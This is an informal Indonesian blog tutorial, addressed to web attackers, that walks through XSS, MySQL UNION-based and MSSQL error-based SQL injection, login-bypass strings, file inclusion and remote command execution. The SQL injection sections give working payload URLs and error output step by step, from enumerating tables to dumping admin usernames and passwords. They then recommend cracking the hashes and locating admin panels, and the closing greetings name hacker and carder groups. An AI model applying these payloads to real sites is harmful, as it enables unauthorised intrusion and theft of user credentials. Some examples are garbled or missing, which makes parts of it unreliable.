Dalam
tutorial kali ini w akan membahas beberapa serangan yang sering
dilakukan oleh para attacker web atau dengan kata lain tester web:
1.XSS (Cross site scripting) 2.basic SQL injection 3.SQL injection for ASP 4.bypass login 5.File Inclusion (RFI/LFI) 6.RCE (Remote Command Execution)
ok langsung saja kita menuju TKP juragan
0x01::XSS (cross site scripting)
nah
loh apa itu??? itu adalah XSS (cross site scripting), wah kenapa
namanya bukan jadi CSS???, wah pinter nih , gini loh karena CSS sendiri
sudah memiliki arti yakni Cascading style sheet, nah nanti kalo pk
singkatan itu jadi rancu donk,hehehe, yah pokoknya begitulah dari yang w
pernah tahu n baca,kalo ada yang mau cari lagi silahkan jah kenapa
namanya demikia, kalo w sih males, lebih baik langsung ngerti,
xii,xii...
XSS adalah satu teknik web attack yang sangat mudah
sekali dilakukan, ibaratnya, bug ini adalah sederhana karena attacker
hanya menampilkan script yang tertulis di URL addressnya, wah gimana
tuh...???? ok, langsung praktek saja
nah
nanti bisa kita rubah seperti itu,nanti setelah kita tekan enter maka
akan keluar javascript alert dengan tulisan "kamu ganteng deh",hehehe
0x02::SQL injection
nah
ini mungkin udeh pada tahu, atau mungkin udeh banyak yang mngerti
metode ini, kalo udeh ada silahkan saja yah dilewadkan,, ini juga
serangan attacker yang sering kali digunakan, karena masih banyak sekali
site yang vulnerable dengan metode ini, sebelum lebih jauh membahas
metode yang satu ini, g ada salahnya kita berkenalan dengan metode ini,
karena ada pepatah, ga kenal maka g tahu(jayus loh..gpp yang penting
metal..:p).
gini loh, sql injection adalah metode web attack
dengan melakukan pemberian karakter2 khusus diURL target, jihaha,
apalagi itu, saya g ngerti @#$%!@#...wets, sabar donk om, ini mau
dikasih contoh, gini loh om, biasanya web tersebut di URLnya diberikan
tanda quote,
example:
http://serang.org.sql.php?inject=20'
nah kan diberikan tanda petik tuh, kalo ada pesan error, berarti web tersebut vulnerable dengan sql injection
kemudian kita bisa mencari kolom keberapa yang mengalami masalah
example:
http://serang.org/sql.php?injection=10 order by 1--
example:
http://serang.org/sql.php?injection=10 order by 5--
atau juga bisa mencari dengan metode lain:
example:
http://serang.org/sql.php?injection=-10 union all select 1--
example: http://serang.org/sql.php?injection=-10 union all select 1,2--
example: http://serang.org/sql.php?injection=-10 union all select 1,2,3--
dan seterusnya
atau juga bisa
example:
http://serang.org/sql.php?injection=10 and 1=2 union all select 1--
example:
http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2--
example:
http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2,3--
dan seterusnya sampe keluar kolom yang bermasalahnya ok... nah kalo gitu, karena ini cuma contoh,kita anggap yang keluar adalah kolom ke 3
setelah itu kita bisa mengecek versi sqlnya
example:
http://serang.org/sql.php?injection=-10 union all select 1,2,version(),4,5--
atau
example:
http://serang.org/sql.php?injection=-10 union all select 1,2,@@version,4,5--
kalo
seandainya yang keluar versi 4.x.x, maka lewadkan saja, kalo mau
dipaksa bisa sih, tapi harus tebak2 tabel dan kolom,hehehe, kalo
seandainya yang keluar versi 5.x.x , mari lanjutkan.
untuk mencari tabel yang terdapat dalam site tersebut
example:
http://serang.org/sql.php?injection=-10
union all select 1,2,group_concat(table_name),4,5 from
information_schema.tables where table_schema=databasae()--
inget file yang penting adalah:
>>group_concat(table_name)<< == untuk mencari table dari database yang ada.
>>from
information_schema.tables where table_schema=database << ==
diletakan di angka terakhir yang kita dapatkan (lihad contoh diatas)
ok, sekarang kita dapet tabelnya nih, misalnya isi tabelnya sebagai berikut: admin user forum berita polling
nah
stelah dapet itu selanjutnya kita harus tahu, apa saja sih yang ada
didalam tabel itu, tapi tabel yang ingin dicari harus terlebih dahulu
kita konvert ke ASCII
example:
http://serang.org/sql.php?injection=-10
union all select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_name=0x61646D696E--
61646D696E = admin = dari string kita rubah ke ASCII dengan menambahkan 0xASCII
setelah kita dapet kolomnya, sekarang saatnya kita dump itu kolom, misalkan kolom yang terdapat pada tabel adalah: id username password email
nah kan udeh tahu kan, dumping deh
example:
http://serang.org/sql.php?injection=-10 union all select group_concat(id,0x3a,username,0x3a,password,0x3a,email) from admin--
nah
selesai deh, username n password ada ditangan anda, kalo seandainya
password yang kita dapet di encrypt dengan md5 silahkan crack saja yah,
banyak ko crackan buat md5 yang online tool sekarang..kalo saya sih
lebih suka pake toolnya si gunslinger yang md5 cracking, enak
tuh...sering dapet..sekalian w promosiin gunslinger tool loh, ok,
setelah berhasil di crack atau dapet password dan usernamenya, silahkan
cari halaman adminnya, kalo males, pk tool adminpagefinder dari
gunslinger juga, sayang toolnya lum bisa update pagenya...hehe, tr
kapan2 kita renov ya gunslinger.
0x03::SQL injection for ASP
sebernernya
ini sama saja dengan metode SQL injection yang diatas, tapi bedanya
hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php
dan kalo yang ini untuk *.asp..
example:
http://inject.web.id/sql.asp?injection=12'
kalo muncul pesan error kaya gini "Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /news.asp, line 52" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe :p
lanjutkan dengan
example:
http://inject.web.id/sql.asp?injection=12' HAVING 1=1--
error "Microsoft OLE DB Provider for SQL Server error '80040e14' [Microsoft][ODBC
SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the
select list because it is not contained in an aggreate function and
there is no GROUP BY clause."
cari lagi table dan kolomnya
example:
http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--
error "Microsoft OLE DB Provider for SQL Server error '80040e14' [Microsoft][ODBC
SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
the select list because it is not contained in an aggreate function and
there is no GROUP BY clause."
Error menunjukkan nama column yang ketiga adalah "news_detail" Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column. Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.
Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert". Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)-- contoh kita akan melihat versi server:
Microsoft SQL Native Client error '80040e07' Conversion
failed when converting the nvarchar value 'Microsoft SQL Server 2005 -
9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005
Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790:
Service Pack 1) ' to data type int. /page.asp, line 9
Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int. /showthread.asp, line 9
Error menunjukkan bahwa user adalah "sa"
Sekarang
adalah bagaimana mencari nama table, nama column, dan isinya, dari
table information_schema. Perintahnya:
+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
>>contoh:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int. /page.asp, line 9
Dari
query tersebut, dapat diketahui bahwa "threads" sebagai tipe data
nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan
error. Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads". Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:
/*Penjelasan
perintah tersebut, yaitu kita akan mengambil informasi dari table
information_schema dimana/dengan nama table tidak/bukan "threads". Atau
dengan kata lain kita akan mencari table yang selain table "threads"*/ Maka akan muncul error:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int. /page.asp, line 9
Error
menunjukkan table yang kedua adalah "users". Untuk mencari table yang
lain, hanya tambahkan nama table yang telah diketahui. contoh:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int. /page.asp, line 9
Yang berarti nama table yang ketiga adalah table "forums" Namun jika error yang tampil seperti ini:
ADODB.Field
error '800a0bcd' Either BOF or EOF is True, or the current record has
been deleted. Requested operation requires a current record. /page.asp, line 10
Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.
Selanjutnya
mencari nama column dari table. Metodenya hampir sama dengan yang
sebelumnya, yaitu masih mencari dari "information_schema" namun
perintahnya dari "information_schema.tables" berubah menjadi
"information_schema.columns" dan dari "table_name" berubah menjadi
"column_name". contoh:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int. /showthread.asp, line 9
Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname". Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int. /showthread.asp, line 9
Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user". Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int. /showthread.asp, line 9
Berarti column yang ketiga adalah column "email". Tetapi jika error yang dihasilkan adalah:
ADODB.Field
error '800a0bcd' Either BOF or EOF is True, or the current record has
been deleted. Requested operation requires a current record. /page.asp, line 10
Itu menandakan bahwa sudah tidak ada lagi column yang lain.
Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int. /page.asp, line 9
Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin". Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:
ADODB.Field
error '800a0bcd' Either BOF or EOF is True, or the current record has
been deleted. Requested operation requires a current record. /showthread.asp, line 10
Berarti hanya ada 2 user yaitu "admin" dan "cwh".
Dan untuk mencari passwordnya, perintahnya seperti:
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int. /page.asp, line 9
Maka isi dari data yang pertama di column "upass" adalah "123". Dari
hasil yang kita dapat diatas, isi data pertama dari column "uname"
adalah "admin", dan isi data pertama dari column "upass" adalah "123". Berarti usernamenya adalah "admin" dan passwordnya "123"
0x04::bypass Login
emh
apa yah...sebenernya sih pengertian ini w buat berdasarkan pengalaman w
yah, masalahnya w mau cari referensi yang agak enak w pahamain pada
sulit2..:p...akhirnya jad lah kesimpulan bypass menurut w...bypass
adalah teknik hacking untuk login ke suatu site dengan memanfaatkan
kesalahan dari si programmer di form login... begitu kira2 menurut w brother...
ini sedikit list yang biasa di gunakan untuk bypass halaman website:
'or' 1'or'1'='1 having 1=1-- x'or'x'='x dan masih banyak lagi silahkan anda kembangkan dan cari lagi, seperti biasa, in google..hehehe
0x05::File Inclusion
hello
bro..ini dia kita memasuki tahap yang dibilang banyak dilakukan oleh
para hacker indonesia yang sering main atau nongkrong di irc,hehehe :p file inclusion ini terbagi 2 bagian: 1.Remote FIle Inclusion 2.Local File Inclusion
nah sini w bahas yang RFI dulu yah..
RFI
(Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan
attacker meng-include-kan file dari luar server. nah ngerti g tuh
bro...jadi gampangnya gini loh...jadi dari luar server kita bisa
melakukan kaya kita didalam server, nah gitu bro...
nah kemudian LFI
LFI
(Local File Inclusion) adalah sebuah lubang pada site di mana attacker
bisa mengakses semua file di dalam server dengan hanya melalui URL.
nah disni saya akan memberikan bug terjadinya RFI dan LFI..
> [Penjelasan ] <
fungsi-fungsi yang dapat menyebabkan LFI/RFI:include(); include_once();
require(); require_once(); Dengan syarat pada konfigurasi php di
server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc =
off contoh: misalkan kita punya file index.php dengan content kodenya
seperti ini, Code: include "../$_GET[framefile]"; ?>
0x06::RCE (Remote Command Execution)
RCE...wah
apa tuh baru denger nih...???? wah kaka, masa sih baru denger..ini
adalah salah satu serang yang sering digunakan oleh attacker di
indonesia juga..dari namanya juga kita pasti tahu apakah itu..itu
adalaha bagaiman si attacker mampu menexecute perintah2 dengan meremote
server yang vulnerable dari site
sebagai contoh saya bisa kasih link saja yah tentang RCE ini
untuk mencari RCE anda bisa buka http://www.milw0rm.com/papers/369
untuk bermain RCE dengan LFI, loh bisa baca http://www.milw0rm.com/papers/361 http://www.milw0rm.com/papers/260
nah
sisanya anda cari lagi yang mengenai RCE, sebenernya RCE bukan hanya
ada di bug LFI, tapi masih banyak lagi, seperti di phpmyadmin dan
lain-lain..
sekian dari saya semoga bermanfaat adanya bro...
greetz:mywisdom,gunslinger_,flyff666,petimati,
gonzhack,rotlez,xtronic,spykit33,devil_nongkrong,7460(newbie_mantap),d4y4x
( thanks udeh mau dengerin curhatan w bro) n all Devilzc0de member n
crew, yogyacarderlink n all member, hacker newbie n all member n all
underground community
referensi:google, baca ebook, tanya2 sama temen, otak gue yang kadang gilanya kumat..
walaw panjang bgt , ane baca ampe abis , hahahha
BalasHapusthank's sob tutuorialnya .. ^_^